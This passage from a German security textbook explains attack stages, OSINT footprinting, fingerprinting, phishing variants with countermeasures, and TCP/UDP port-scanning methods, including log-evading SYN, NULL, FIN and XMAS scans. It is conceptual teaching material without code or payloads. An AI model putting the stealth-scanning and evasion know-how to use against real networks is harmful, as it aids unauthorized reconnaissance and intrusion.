Angreifer in Ruhe nach lohnenden Angriffszielen suchen. Die häufigste Art von Angriffen sind Phishingangriffe, bei denen ein Opfer dazu gebracht wird, seine Zugangsdaten an einer Stelle einzugeben, die der Angreifer mitlesen kann. Gezielte, auf den Personenkreis angepasste Phishingangriffe auf eine Einrichtung oder bestimmte Personen nennt man Spear-Phishing-Angriffe. Gezielte Angriffe auf Führungskräfte oder hochrangige leitende Angestellte nennt man Whaling-Phishing-Angriffe. Bei diesen Angriffsarten wird Hintergrundwissen eingesetzt, das zuvor beim Footprinting gesammelt wurde. Weitere Angriffsmethoden sind Brute-Force- und Wörterbuch-Angriffe, die das Ziel haben, Passwörter zu knacken um sich so in einem Netzwerk oder an einem Rechner anmelden zu können. Bei Spoofing-Angriffen versucht ein Angreifer eine Identität vorzugaukeln, die dem Opfer bekannt ist, um eine Vertrauensbeziehung herzustellen. Weitere Angriffsarten mit eher technischer Natur beruhen auf Implementierungsfehlern von Softwaresystemen, die im Internet erreichbar sind: SQL-Injection (SQLi) und CrossSite-Scripting (XSS), Man-in-the-Middle-Angriffe (MITM) oder die bereits betrachteten Malware-Angriffe mit Viren, Trojanern und Würmern. Schließlich kann einer Einrichtung auch dadurch geschadet werden, dass die Sichtbarkeit im Internet durch einen Denial-ofService-Angriff (DoS) beeinträchtigt wird. Diese Angriffsarten und deren technische Hintergründe werden im weiteren Verlauf noch näher betrachtet.
50
4 Angriffsmechanismen
Ein typischer Angriff auf eine Einrichtung folgt immer nach einem bestimmten Ablauf und dieser ist wie folgt: 1. Footprinting: Sammeln interessanter, im Internet frei verfügbarer Informationen über das Ziel; 2. Scanning: Welche IP-Adressen und Ports sind von außen erreichbar? 3. Enumeration: Sammeln detaillierter Informationen zur Vorbereitung eines Einbruchs, passende Angriffsmethode finden; 4. System Hacking: Einbruch in ein System durch ein geknacktes Passwort oder eine ungepatchte Lücke; 5. Privilege Escalation/Lateral Movement: Administrationsrechte erlangen oder interessante Systeme mit den bekannten Zugängen kapern; 6. Covering Tracks: Spuren verwischen; 7. Zugang sichern: Dauerhaften Zugang einrichten; 8. Schadfunktion aktivieren. Nicht immer werden alle Stufen eines Angriffs durchlaufen. Sollen z. B. Firmengeheimnisse spioniert werden, reicht es dem Angreifer in der Regel, die für ihn wertvolle Firmengeheimnisse zu erfahren oder dauerhaft einen Zugang einzurichten, der nach Bedarf aktiviert werden kann. Ähnliche Stufen sind auch von der Cyber Kill Chain [3] beschrieben, die von Mitarbeitern der Firma Lockheed Martin entwickelt wurde. Für die Abwehr solche Angriffe ist wichtig zu erkennen, dass es sich um eine Kette handelt, bei der die einzelnen Schritte aufeinander aufbauen. Wird diese Kette in einem Glied durch geeignete Abwehrmaßnahmen unterbrochen, muss ein Angreifer wieder von vorne beginnen. Je weiter ein Angreifer jedoch vordringt, desto schwieriger wird es, diesen zu erkennen und wieder loszuwerden. Das Ziel ist folglich, Angriffe möglichst früh zu erkennen. Man kann diesen typischen Ablauf auf folgende Angriffsstufen reduzieren: 1. Zugang zu einem System erlangen: Das Ziel ist, Zugangskontrollen zu überwinden und sich die Möglichkeit verschaffen, an einem System anzumelden. Die technischen Möglichkeiten sind das Scanning der offenen Ports und der erreichbaren Ziele, das PasswortCracking, Social Engineering, Phishing von Passwörtern oder der Kauf von gekaperten Zugängen. Weitere Varianten sind SQL-Injection oder Cross-Site-Scripting. 2. Privilege Escalation/Lateral Movement: Das Ziel dieser Stufe ist, möglichst lange unerkannt zu bleiben, um in Ruhe nach angreifbaren Systemen innerhalb des Netzes zu suchen. Sogenannte Hochwertziele sind Server für bestimmte essenzielle Aufgaben innerhalb einer Einrichtung, wie Domänencontroller, Dateiserver, Backup-Systeme oder das Identitätsmanagement. Dabei werden auch Fehler in der Netzwerkkonfiguration ausgenutzt. Finden Cyberkriminelle darüber hinaus ein System mit einer ungepatchten
4.1
Informationen sammeln
51
Sicherheitslücke, kann dies ggf. dazu verwendet werden um Administratorrechte zu erhalten. 3. Schadfunktion einrichten: Haben Cyberkriminelle Administrationsrechte auf die wichtigen Systeme erreicht (Hochwertziele), müssen dort direkte Remotezugänge eingerichtet oder diese verwalten werden. Dabei kommen spezielle Rootkits oder Werkzeuge wie das Metasploit-Framework oder Cobalt Strike zum Einsatz. 4. Dateien manipulieren oder abrufen: In dieser Stufe geht es dem Angreifer darum, einen Angriff auf die gesamte Einrichtung vorzubereiten (zum Beispiel eine Ransomware), Dateien zu manipulieren oder für ihn interessante Informationen abzurufen. Dabei müssen Datendiebstähle versteckt werden. Die Methoden hierzu sind die Steganografie (Verstecken von Daten durch Manipulation von harmlosen Dateien wie Bildern) oder wechselnde Datenströme. 5. Spuren verwischen: Blieb der Angreifer bis zu dieser Stufe unerkannt, wird es ihm darum gehen, die Spuren des Angriffs zu verwischen. Dies kann entweder durch das Löschen oder die Manipulation von Logfiles erfolgen, wenn der Angriff verborgen bleiben soll, oder durch eine Verschlüsselungsattacke, bei dem die Daten der gesamten Einrichtung möglichst komplett unbrauchbar gemacht werden sollen. Im Folgenden sollen die einzelnen Stufen, deren Ziele und die geeigneten technischen Hilfsmittel näher betrachtet werden.
4.1
Informationen sammeln
4.1.1
Footprinting
Der Fachbegriff für Footprinting lautet OSINT oder Open-Source-Intelligence. Es bezeichnet die erste Phase eines Cyberangriffs, die Informationsbeschaffung über ein Zielsystem. Man unterscheidet zwischen passivem und aktivem Footprinting. Beim passiven Footprinting sammeln die Cyberkriminellen Informationen, die frei im Internet verfügbar sind, ohne eine direkte Kommunikation mit dem Angriffsziel aufzubauen. Aktives Footprinting basiert dagegen auf der direkten Kommunikation mit dem Angriffsziel. Zu aktivem Footprinting werden auch Port-Scans oder auch das Kommando „ping“ gezählt, mit dem offene Ports oder über das Internet erreichbare Systeme identifiziert werden können. Mit dem passiven Footprinting werden frei im Internet verfügbare Informationen über das Angriffsziel gesammelt. Diese umfassen beispielsweise: • • • •
Der Domainname IP-Adressraum oder IP-Adressen erreichbarer Server Namensraum Informationen über Angestellte
52
4 Angriffsmechanismen
• Telefonnummern • E-Mail-Adressen • Informationen über die Tätigkeit oder Zuständigkeit einzelner Angestellter Diese Informationen können von Angreifern bei Phishingattacken gezielt benutzt werden. Das aktive Footprinting liefert hingegen Antworten auf folgende Fragen: • • • • •
Wie ist das Netzwerk logisch aufgebaut? Welche sensitiven Informationen sind im Netz verfügbar? Wie gut gesichert ist das Rechnersystem? Welches sind die interessanten Systeme in einem Netz? Welche Schwachstellen gibt es in den erreichbaren Rechnersystemen?
Sowohl für das aktive als auch für das passive Footprinting gibt es eine große Zahl von Werkzeugen, die sowohl den Penetrationstester als auch den Administratoren von Rechnersystemen helfen, Systeme sicherer zu machen. Natürlich werden dieselben Werkzeuge auch von Hackern eingesetzt, um Schwachstellen zu finden. Interessante Informationen für Angreifer können zum Beispiel Netzwerkinformationen wie Domainnamen, Firewalls, IP-Adressen der erreichbaren Systeme, Websites, offene TCP und UDP-Ports sein. Darüber hinaus sind Informationen über die Zugangsmechanismen für Angreifer wertvoll. Systeminformationen wie Nutzernamen, Gruppennamen, RoutingTabellen, SNMP-Informationen, eingesetzte Systeme, eingesetzte Betriebssysteme, Systemnamen, Nutzeraccounts oder gar Passwörter sind für Angreifer ebenfalls sehr hilfreich, um in fremde Netze einzudringen. Weitergehende Informationen über die Einrichtung, wie Details über Angestellte, Details über die Lage der Einrichtung oder die implementierten Sicherheitsvorgaben, können aus Webseiten oder Telefon- und Personenverzeichnis entnommen werden. Weitere Quellen stellen Kommentare in HTML-Sourcecode, Web-Links der Einrichtung, Artikel in der Presse oder Artikel in den Nachrichten dar. Über eine Whois-Suche https://www.whois.com/whois erfährt ein Angreifer die IPAdresse des primären und sekundären DNS-Servers. In vielen Fällen wird außerdem die E-Mail-Adresse vom Rechnungskontakt der Domäne, Telefonnummer und die Postadresse angezeigt1 . Die meisten dieser Informationen erhält ein Angreifer allerdings auch, wenn er die entsprechenden Webseiten besucht und das Impressum öffnet. Über eine anschließende DNS-Anfrage kann der Namen des Webservers und des Mailservers sowie alle anderen über das Internet zugänglichen Dienste ermittelt werden. Sind 1 Aus Datenschutzgründen können Informationen über Eigentümer von „.de“ Domains nicht mehr
automatisiert über das Whois-Protokoll abgefragt werden. Dies geht nur noch über eine WebwhoisSeite, erreichbar über die Homepage des DENIC, Deutsches Network Information Center, Registrierungsstelle für Domains unterhalb der Top-Level-Domain .de. Informationen zum Eigentümer können nur noch per E-Mail abgefragt werden. DENIC erteilt diese Auskunft jedoch nur unter bestimmten Voraussetzungen.
4.1 Informationen sammeln
53
nur die Namen der Server bekannt, kann die jeweilige IP-Adresse des Systems über einen Ping-Befehl ermittelt werden. Wesentlich detaillierte Auskünfte erhält man zum Beispiel über die Webseite https:// sitereport.netcraft.com. Hier kann eine Webadresse angegeben werden, über die einige Informationen preisgegeben werden. Zu diesen Informationen gehören unter anderem die Adresse der Organisation, IP-Adresse, die Mailadresse des DNS-Admins, Hoster des Webservers, wie lange diese Webseite schon erreichbar ist (date first seen) und vieles mehr. Eine weitere ergiebige Datenquelle ist die Webseite https://web.archive.org/. Dort werden Schnappschüsse von Webseiten zu bestimmten Zeitpunkten gespeichert, die über einen Kalender aufgerufen werden können. Oft finden sich im Quelltext älterer Webseiten Insiderinformationen über das Angriffsziel oder man kann über den zeitlichen Verlauf des Webauftritts Informationen über die Entwicklung der Einrichtung erfahren. All diese Informationen, die durch das Footprinting gesammelt wurden, können später von Cyberkriminellen verwendet werden, um über den direkten Kontakt mit Angestellten oder über die aus dem Internet erreichbaren Systeme Schwachstellen auszunutzen.
4.1.2
OS-Fingerprinting und Banner-Grabbing
Das sog. OS-Fingerprinting2 oder oft auch einfach Fingerprinting ist der Versuch seitens des Angreifers herauszufinden, welches Betriebssystem oder welche Anwendungssoftware in welcher Version auf dem Zielsystem eingesetzt ist: Dies wird erreicht indem zum Beispiel eine Fehlermeldung provoziert wird. Anhand der Rückmeldung oder aufgrund bestimmter Reaktionsweisen kann meist auf die eingesetzte Softwareversion oder das Betriebssystem geschlossen werden. Fingerprinting kann sowohl aktiv erfolgen, indem spezielle Datenpakete oder Anfragen an ein Zielsystem abgesetzt werden (z. B. Aufruf einer nicht vorhandene Webseite) oder passiv, indem der Netzwerkverkehr mitgelesen wird. Fehlermeldung oder weitergehende Analysen der Antwortpakete lassen Rückschlüsse auf das Zielsystem zu, denn Antwortpakete variieren je nach Implementierung des TCP/IP-Stacks oder der Anwendung (z. B. Webserver). Passiv lassen sich diese Informationen sammeln, indem der Netzwerkverkehr überwacht und analysiert wird. Auch Dateinamen und Dateiendungen sowie Erweiterungen in URLs geben wertvolle Hinweise. So weist die Endung „.aspx“ auf den Microsoft Internet Information Services (IIS) und damit auf einen Windows-Server hin. Beim „Banner-Grabbing“ werden die Textzeilen ausgewertet, die ein System zum Beispiel bei Login-Anfragen oder bei Zugriffen auf bestimmte Ports zurücksendet. Zur Verbesserung der Sicherheit wird empfohlen, Banner wenn möglich zu deaktivieren oder so zu verändern, dass sie keine Aussage über das eingesetzte System zulassen. Manche Administratoren setzen diese Banner auch bewusst ein, sodass sie potenzielle Angreifer warnen oder falsche Informationen liefern. 2 OS steht hier für Operating System, also dem Betriebssystem.
54
4 Angriffsmechanismen
4.2
Zugang erlangen
4.2.1
Phishing
Der Begriff Phishing ist ein Kunstwort, das sich aus den englischen Begriffen „password“, „harvesting“ (Passwörter ernten) und „fishing“ (Fischen) zusammensetzt. Angreifer versuchen, über verschiedene Wege wie E-Mails, Webseiten oder SMS-Kurznachrichten, an persönliche Zugangsdaten eines Opfers zu kommen oder es dazu zu bewegen, eine Schadsoftware auszuführen. Meist werden massenhaft Nachrichten versendet, die auf den ersten Blick von realen Dienstleistern wie Banken, Transportdienstleistern, Amazon, DHL, Zoll oder PayPal zu stammen scheinen. Die Hoffnung der Angreifer besteht darin, dass irgend jemand auf den mitgelieferten Link klicken wird, sei es versehentlich, durch Neugier oder durch Unkenntnis. Penetration-Tester berichten immer wieder, dass eine gut gemachte Phishingkampagne eigentlich immer zum Erfolg führt. Das Phishing begrenzt sich nicht nur auf versendete E-Mails. Cyberkriminelle nutzen auch Social-Media-Kanäle, über die sie Vertrauen zu den Opfern aufbauen. Dabei geht es den Angreifern wie beim Phishing über E-Mails darum das Opfer dazu zu bringen, Zugangsdaten preiszugeben oder diese in einem von ihnen kontrollierten Webportal einzugeben3 . Oft werden bekannte Webseiten nachgeahmt, wie z. B. Anmeldeseiten für Webmailer, Banken oder andere Webdienste, bei dem das Opfer über einen Vorwand dazu gebracht werden soll, seine Anmeldedaten einzugeben. Diese Daten werden an einen Server der Angreifer übermittelt und dort gespeichert. In der Regel nutzen die Angreifer Account-PasswortKombinationen, um sich z. B. über VPN an einem Netz anzumelden, für das Opfer Zugang hat. Es wurden auch schon E-Mail-Accounts mit dem Zweck gekapert, für bestimmte weitere Dienste oder Konten ein Passwort zurückzusetzen. In vielen Fällen wird das automatisierte Rücksetzen über das Zusenden eines kurzzeitig gültigen Registrierungslinks in einer E-Mail ermöglicht, die über einen gephishten E-Mail-Account verifiziert werden können. Sonderformen und Weiterentwicklungen des Phishings sind: • Spear Phishing: Hier wird ein gezielter, speziell und individuell vorbereiteter Angriff auf bestimmte Personen durchgeführt. Voraussetzung ist, dass im Vorfeld entsprechendes Wissen über die Zielpersonen eingeholt wurde. • Baiting: Beim Baiting werden digitale oder physische Köder (z. B. ein USB-Stick) eingesetzt. Digitale Köder können zum Beispiel Programme sein, die kostenlos im Netz zur Verfügung gestellt werden.
3 Nicht selten werden die Opfer über diesen Weg auch direkt geschädigt, indem sie zum Übertragen
von Geldkarten oder zu einer direkten Überweisung auf ein Konto im Ausland gebracht werden. Der sog. Enkeltrick, bei dem einer Person vorgegaukelt wird, dass ein naher Angehöriger in einer Notlage steckt und dringend Geld benötigt, ist hierfür ein typisches Beispiel.
4.2
Zugang erlangen
55
• Whaling: Beim Whaling geben sich die Angreifer als hochrangiges Mitglied der Führungsebene aus. Dieser Angriff beruht darauf, dass das Opfer Sicherheitsvorkehrungen ignoriert, wenn eine vermeintliche Autoritätsperson dazu auffordert. Mitarbeitende werden kaum eine Anfrage ablehnen, wenn sie vermeintlich von einem CEO oder CFO4 stammt. • CEO-Fraud: Beim CEO-Fraud (Chef-Trick) gaukeln die Angreifer eine Not-Situation des Firmenchefs vor, die das Opfer dazu verleitet, wichtige Firmeninformationen preiszugeben oder Geld zu übertragen, um dem Firmenchef zu helfen. Im Kontext des Phishings, wird das Opfer dazu gebracht, Sicherheitsvorgaben zu ignorieren, um dem vermeintlichen Vorgesetzten einen Zugang zu Systemen zu geben. Auch wenn die Phishingkampagnen der Anbieter immer besser werden, lassen diese sich mit einfachen Maßnahmen aushebeln: Dazu gehört die Sensibilisierung aller Mitarbeitenden (Awareness-Maßnahmen). Immer dann, wenn etwas ganz eilig ist, sollte besondere Vorsicht geboten sein. Grundsätzlich sollten alle Mitarbeitenden angewiesen werden, vor der Übermittlung von Firmengeheimnissen oder vor der Überweisung von Geld, einen Rückruf auf eine bekannte Kontaktadresse des Auftraggebers zu tätigen, um sich rückzuversichern, dass dieser auch tatsächlich der Auftraggeber für eine bestimmte Aktion oder Überweisung ist. Auch schützt die konsequente Umsetzung eines Vier-Augen-Prinzips vor unbedachten Handlungen. Schließlich ist die Nutzung eines zweiten Faktors (s. MFA und 2FA in Abschn. 8.3) zur Authentisierung, zusätzlich zum Anmeldepasswort bei der Anmeldung, ein gutes Mittel, Phishingangriffe auf Nutzeraccounts zu verhindern. Auch wenn die Angreifer versuchen, diesen zweiten Faktor zu umgehen, verlieren gephishte Accounts auf diese Weise ihr ihren Schrecken. Seit einiger Zeit tauchen immer wieder neue Varianten des Phishings auf, die hier kurz vorgestellt werden sollen. Dabei hegt diese Liste keinen Anspruch auf Vollständigkeit. • Smishing: Was mit E-Mails geht, funktioniert im Grunde genauso mit SMS als Kommunikationsmedium. Auch mit einer SMS lässt sich ein Link auf eine Anmeldeseite der Cyberkriminellen verschicken. Oft geht es bei solchen E-Mails um überzogene Bankkonten, bei denen ein vermeintlicher Bankmitarbeiter darum bittet, einmal nachzuschauen, ob alles in Ordnung ist. Der Link zum Einloggen wird in der SMS gleich mitgeliefert. Manchmal werden auch Telefonnummern angegeben und um einen Rückruf gebeten. Dort melden sich dann Kriminelle, die sich als Mitarbeiter des Unternehmens ausgeben. Auch SMS-Nachrichten zur Paketverfolgung sollten genau überprüft werden, denn auch hier kann über den eingebetteten Link auch Schadsoftware nachgeladen werden. • Pharming: Der Begriff Pharming setzt sich aus „Phishing“ und „Farming“ (Ackerbau) zusammen. Gemeint ist damit, dass die Cyberkriminellen ihre „Saat“ aussetzen indem sie über eine Schadsoftware Webseitenaufrufe umlenken. Dabei kann die auf dem 4 CEO: Chief Executive Officer, CFO: Chief Financial Officer.
56
4 Angriffsmechanismen
Rechner lokal gespeicherte Hostdatei manipuliert werden, die Webadressen in IPAdressen umwandelt. Alternativ können auch DNS-Server infiziert werden, die dann bei einer Anfrage der URL die falschen IP-Adresse des Servers der Cyberkriminellen zurückliefern. So gelangen die Opfer auf die gefälschte Anmeldeseite, ohne es zu merken. • Vishing: Mit Visching, das sich aus den Begriffen „Voice“ und „Phishing“ zusammensetzt, ist der Angriff der Cyberkriminellen über ein ganz normales Telefon gemeint. Die Angreifer, die oft eine Stresslage vortäuschen, bitten entweder das Opfer selbst um einen Gefallen oder sie versuchen durch einen Anruf bei einem Mobilfunkprovider unter Einsatz von gesammelten „persönlichen Informationen“ das Vertrauen des Gegenübers zu gewinnen und bitten um Preisgabe von E-Mail-Adressen oder um das Zurücksetzen von vergessenen Passwörtern. • Tech-Support-Angriffe: Auch wenn angebliche Technikexperten anrufen und auf ein Problem hinweisen, ist äußerste Vorsicht geboten. Nicht selten bitten diese um Zugangsdaten, um ein vermeintliches Problem mal eben schnell zu lösen oder bieten einen Link zur Installation einer Software an, die ein angebliches Schadprogramm entfernen soll. Meist ist diese Software der eigentliche Schädling. • SEO-Poisoning: Das SEO-Poisoning5 ist der Versuch der Cyberkriminellen, durch Manipulation der Bewertungsalgorithmen bei beliebten Suchanfragen auf die ersten Plätze zu kommen. Dieser Angriff macht sich zunutze, dass die meisten User ihre Suchergebnisse auf den ersten Seiten anklicken und sie Suchmaschinen wie Google grundsätzlich vertrauen. Mit dem Klick auf eine entsprechende Webseite können die Cyberkriminellen alle Arten von Schadsoftware verteilen. Der Kreativität der Cyberkriminellen sind kaum Grenzen gesetzt. Beinahe täglich werden neue Betrugsmaschen bekannt, mit denen die Angreifer versuchen ihr Ziel zu erreichen. Meist geht es ihnen darum Konten der Opfer zu übernehmen. Dieser Identitätsdiebstahl ist dann der Ausgangspunkt für weitere kriminelle Aktivitäten.
4.2.2
Scanning-Techniken
Bei den Scanning-Techniken geht es einem Cyberkriminellen um das Sammeln interessanter Informationen über ein potenzielles Angriffsziel. Zu diesen Informationen gehören Schwachstellen in Rechnersystemen, Informationen über Softwareversionen oder eingesetzte Betriebssysteme sowie der Aufbau des Netzwerks und die erreichbaren Systeme innerhalb dieses Netzes. Das Ziel des IP-Scannings ist, ein Netzwerkdiagramm zu erstellen. Neben den im Abschn. Footprinting 4.1.1 genannten Möglichkeiten gibt es auch technische Ansätze. Diese IP-Scanning-Techniken sollen hier etwas genauer beleuchtet werden. Das grundsätzliche Modell für das IP-Scanning ist in Abb. 4.2 dargestellt. 5 SEO steht für Search Engine Optimization.
4.2
Zugang erlangen
57
Abb. 4.2 Modell für das Scanning von Netzen
Wir gehen an dieser Stelle davon aus, dass diese Systeme nicht durch eine Firewall geschützt sind. Das ist zum Beispiel der Fall, wenn sich der Angreifer bereits hinter eine Firewall befindet, diese Systeme gar nicht durch eine Firewall geschützt sind oder es sich um Webserver, Mailserver oder FTP-Server usw. handelt, die aus dem Internet heraus erreichbar sein sollen. Cyberkriminelle setzen TCP/IP-Anfragen (TCP/IP-Requests) ab und erhalten mehr oder weniger aussagekräftige Antwortpakete, aus denen weitergehende Informationen abgeleitet werden können. Solche Informationen, die für einen späteren Angriff wertvoll sind, könnten zum Beispiel die Namen oder IP-Adressen von Systemen sein. Insbesondere der Name eines Servers lässt Rückschlüsse auf dessen Einsatzzweck zu. Außerdem deutet die Kombination offener TCP- und UDP-Ports auf den Einsatzzweck eines Systems hin. Am Verhalten eines solchen Systems oder anhand von Fehlermeldungen können Cyberkriminelle auf eingesetzte Betriebssystemversionen und Systemarchitekturen schließen. Beim IP-Scanning geht es darum, den Aufbau von Netzwerken durch das Senden von IP-Paketen genauer zu analysieren. Der erste Schritt besteht in der Suche nach offenen Ports in einer Firewall. Anhand der Zusammenstellung der offenen Ports in Verbindung mit dem Namen eines Systems, kann ein Angreifer oft abschätzen, um was für ein System es sich handelt. Offene Ports lassen Rückschlüsse auf laufende Dienste oder Prozesse auf dem System zu. Meist finden sich hier bereits Hinweise auf Schwachstellen oder Informationen auf den aktuellen Patch-Stand sowie die Adressen von Routern, Gateways, Druckern, Kameras oder Steuergeräten. Anhand der Reaktion lässt sich von einem Angreifer zudem erkennen, ob IntrusionDetection-Systeme (IDS), ein Intrusion-Prevention-System (IPS) oder neuere Netzwerksicherungskonzepte wie eine Zero-Trust-Netzwerkarchitektur (ZTNA) eingesetzt werden. Diese Maßnahmen lassen sich von Cyberkriminellen aushebeln, indem die ScanningTechniken so sparsam eingesetzt werden, dass sie unter dem Radar bleiben, weil sie vom üblichen IP-Verkehr nicht zu unterscheiden sind. Über den Einsatz von Proxys oder über das Tor-Netz werden Cyberkriminelle die eigene Identität verschleiern, falls doch einmal ein IDS einen Alarm auslöst.
58
4 Angriffsmechanismen
Weitergehende Möglichkeiten zur Verschleierung der Scan-Versuche ergeben sich durch die konsequente Ausnutzung von Eigenschaften des TCP. Deshalb soll dieses Protokoll an dieser Stelle etwas genauer betrachtet werden. In einem TCP-Datenpaket sind im Header Communication-Flags integriert. Diese sind: • • • • • •
SYN (Synchronise): initiiert eine Verbindung zwischen Hosts ACK (Acknowledge): ein Paket wurde empfangen RST (Reset): Zurücksetzen einer Verbindung FIN (Finish): Ende der Kommunikation PSH (Push): sende alle zwischengespeicherte Nachrichten sofort URG (Urgent): Daten in diesem TCP-Paket sollten sofort bearbeitet werden
Das TCP schreibt eine bestimmte Nutzung und Reihenfolge dieser Communication-Flags beim Aufbau, dem eigentlichen Datenverkehr und beim Abbau einer TCP-Verbindung vor. Im Protokoll ist jedoch nicht festgelegt, wie ein System bei Protokollverstößen reagieren soll. Dies ist weitgehend den Programmierern des TCP-Protokollstacks überlassen. Hierdurch entstehen Unterschiede in der Reaktion auf Protokollverstöße, die von Angreifern ausgewertet werden können. Ein protokollgerechter Aufbau einer TCP/IP-Verbindung sieht in etwa wie in Abb. 4.3 aus. Zu Beginn des Verbindungsaufbaus wird von einem Scanner aus ein „SYN“-Flag gesendet (1). Das Ziel antwortet mit einem „SYN“ und einem zusätzlich gesetzten „ACK“-Flag (2). Der Server antwortet wiederum mit einem „ACK“ (3). Ab hier kann die Übertragung der Datenpakete beginnen. Durch das fortlaufende Inkrementieren der Nummern der Datenpakete werden Paketverluste erkannt. Das TCP-Protokoll legt fest, dass verloren gegangene Datenpakete angefragt und erneut übertragen werden. Mit dem vollständigen Aufbau einer TCP-Verbindung kann also festgestellt werden, ob ein System für bestimmte Ports erreichbar ist. Antwortet das Ziel auf ein „ACK“ unmittelbar mit einem „RST“, weiß der Angreifer, dass der Port geschlossen ist (Abb. 4.4). Allerdings reagieren Systeme oft auch einfach nicht bei Anfragen auf geschlossene Ports, sodass der Scanner auf einen Time-Out warten muss.
Abb. 4.3 TCP-Verbindungsaufbau auf einen offenen Port
4.2
Zugang erlangen
59
Abb. 4.4 TCP-Verbindung auf geschlossenen Port
Im Grunde reicht ein solcher Verbindungsaufbau mit einem sofortigen Verbindungsabbau völlig aus, um für den Angreifer erkennbar zu machen, ob sich ein System unter einer gegebenen IP-Adresse und einem bestimmten Port ansprechen lässt oder nicht. Das Problem für den Angreifer ist lediglich, dass der Aufbau einer vollständigen Verbindung in der Regel protokolliert wird, was sich in Logdateien nachvollziehen lässt. Ein Angreifer hinterlässt folglich eine Spur mit der eigenen IP-Adresse oder zumindest die des benutzten TORAusgangsknotens. Durch gezielte Verstöße gegen das TCP ergeben sich für den Angreifer jedoch einige Möglichkeiten, die gewünschten Informationen zu erhalten und dennoch weniger Spuren in den Logdateien zu hinterlassen. Die einfachste Technik besteht darin, nach einem „SYN“-Paket des Angreifers auf einen Port mit dem darauf folgenden „SYN/ACK“ des Ziels sofort mit einem „RST“ zu antworten. Damit wird die Verbindung wieder beendet und es kommt gar keine vollständige Verbindung mehr zu Stande. Das fällt weniger auf, weil weniger Logeinträge generiert werden (Tarnkappentechnik, Stealth). Für den Angreifer ist der vollständige Verbindungsaufbau auch gar nicht notwendig, denn er hat alle für ihn interessanten Informationen erhalten, sobald er die erste Reaktion des Ziels empfangenen hat: Das „SYN/ACK“-Paket signalisiert, dass ein Port offen ist. Wäre dieser Port geschlossen, würde das Ziel mit einem „RST“ antworten. Diese Technik wird auch als „SYN-Scan“ oder, weil diese Art des Scannens weniger auffällt auch als „SYN-Stealth-Scan“ bezeichnet. Alternativ kann der Angreifer auf das „SYN/ACK“-Paket auch einfach gar nicht mehr antworten, denn auch in diesem Fall hat er bereits alle für ihn wichtigen Informationen erhalten: Antwortet das Ziel mit einem „SYN/ACK“, ist der Port offen und ein Ziel erreichbar. Bei einem „RST“, ist der Port geschlossen. Im Ziel bleibt die Anfrage so lange offen, bis ein Time-Out abgelaufen ist. Aus Sicht des Ziels sieht ein solches Paket aus als wäre die Verbindung direkt nach der Verbindungsanfrage unterbrochen worden. Das kommt auch im normalen Betrieb hin und wieder vor und ist deshalb nicht ungewöhnlich. Diese Art des Scans wird als „half-open“ bezeichnet, weil der TCP-Handshake nicht vollständig abgeschlossen wird. Eine weitere Möglichkeit besteht darin, die Kommunikation mit dem Ziel nicht mit einem „SYN“ sondern sofort mit einem „SYN/ACK“-Datenpaket zu beginnen (SYN-ACK-Scan) wie in Abb. 4.5.
60
4 Angriffsmechanismen
Abb. 4.5 TCP-Verbindung über SYN-ACK-Scan
Da zu diesem Zeitpunkt noch keine Verbindung besteht, erkennt das Ziel einen Fehler. Verwirft das Ziel dieses Paket über einen „RST“-Befehl, ist der Port geschlossen. Ist der Port dagegen offen, wird das Paket an die Software weitergereicht, die auf den entsprechenden Port hört und dort wegen der fehlenden Verbindungsanfrage, die vorausgegangen sein müsste, verworfen. In diesem Fall ist dem Angreifer klar, dass er ein Ziel mit der angegebenen IP-Adresse und dem angefragten Port erreicht. Weitere Techniken sind der „NULL-Scan“, bei dem keines der Flags gesetzt wird, „TCPFIN-Scan“, bei dem sich eine Firewall genauso verhält wie bei einem SYN-ACK-Scan und der XMAS-Scan, bei dem alle Flags (zumindest „FIN“, „PSH“, „URG“) gesetzt sind. Durch unterschiedliche Reaktionen auf solche Pakete können Details über das Zielsystem aus der Antwort abgeleitet werden. Diese Details können Informationen über die Version eines Dienstes hinter dem Port oder über das eingesetzte Betriebssystem beinhalten. Die Pakete des XMAS-Scan sind sehr auffällig und können leicht von Intrusion-Detection-Systemen und Firewalls detektiert werden, sodass sie meist nur im Rahmen von Penetration-Tests eingesetzt werden, um die Robustheit der Firewall-Infrastruktur zu untersuchen. Da die Pakete bei TCP-Scans immer beantwortet werden, sind diese Techniken recht langsam. Wenn man große Netze (z. B. ein ganzes Class-B-Netz) scannen möchte, braucht es ein schnelleres Verfahren. Hier bieten sich UDP-Scans an, die auf ein Drei-Wege-Handshake für den Verbindungsaufbau verzichten. Wenn ein Port offen ist, wird das Datenpaket angenommen und nicht beantwortet. Ist der Port hingegen geschlossen wird ein Antwortpaket mit „Destination unreachable“ zurückgesendet. Ein mögliches Vorgehen bei UDP-Scans könnte folgendermaßen ablaufen: Der Angreifer bedient sich des Ports 53, einer DNSAbfrage. Zunächst sendet der Angreifer ein beliebiges Datenpaket. Kommt ein Antwortpaket zurück, weiß der Angreifer, dass der Port geschlossen ist. Wenn nicht, wurde das Datenpaket an das Ziel weitergeleitet und dort verworfen, weil es keinen entsprechenden UDPKommunikationskanal gibt. Jetzt legt der Angreifer mit einer korrekten DNS-Abfrage über Port 53 nach. Wird diese beantwortet, weiß der Angreifer, dass auf dem Ziel ein DNS-Server läuft. Da Angriffe bekannt sind, die bestimmte DNS-Server-Implementierungen kompromittieren, kann ein Angreifer jetzt versuchen, Zugang zu dem Zielsystem zu erhalten (Abb. 4.6). UDP-Scans liefern keine scharfen Ergebnisse, da eine Firewall beispielsweise grundsätzlich jede Anfrage ohne Antwort blockieren könnte.
4.2
Zugang erlangen
61
Abb. 4.6 Ablauf eines UDP-Scans
4.2.3
Werkzeuge zum Scannen von Netzwerken
Das bekannteste Werkzeug für die Abfrage, ob ein System in einem Netzsegment erreichbar ist, ist das Werkzeug ping, das auf beinahe jedem Endgerät installiert ist. Es lässt sich problemlos in Scripten verwenden, sodass auch ganze Netzwerkbereiche gescannt werden können (Ping-Sweep). Ping sendet ein ICMP-Echo-Request-Paket an die Zieladresse. Das Ziel wird die Anfrage mit einem ICMP-Echo-Reply-Paket beantworten, sofern das Protokoll unterstützt wird. Ist das Ziel nicht erreichbar, antwortet der zuständige Router mit „Network unreachable“ oder „Host unreachable“. Ping gibt außerdem die Zeitspanne für einen Rundlauf an, sodass die Verarbeitungszeit der Zwischenstationen mit gemessen wird. Möchte man den Weg von IP-Paketen darstellen, bietet sich das Programm traceroute (unter Windows „tracert.exe“) an. Traceroute funktioniert ähnlich wie „ping“, stellt jedoch alle Zwischenstationen (Hops) zwischen dem Sender und dem Ziel über den Namen, die IP-Adresse und die Laufzeit des Datenpakets dar. Traceroute oder tracert.exe können verwendet werden um zu 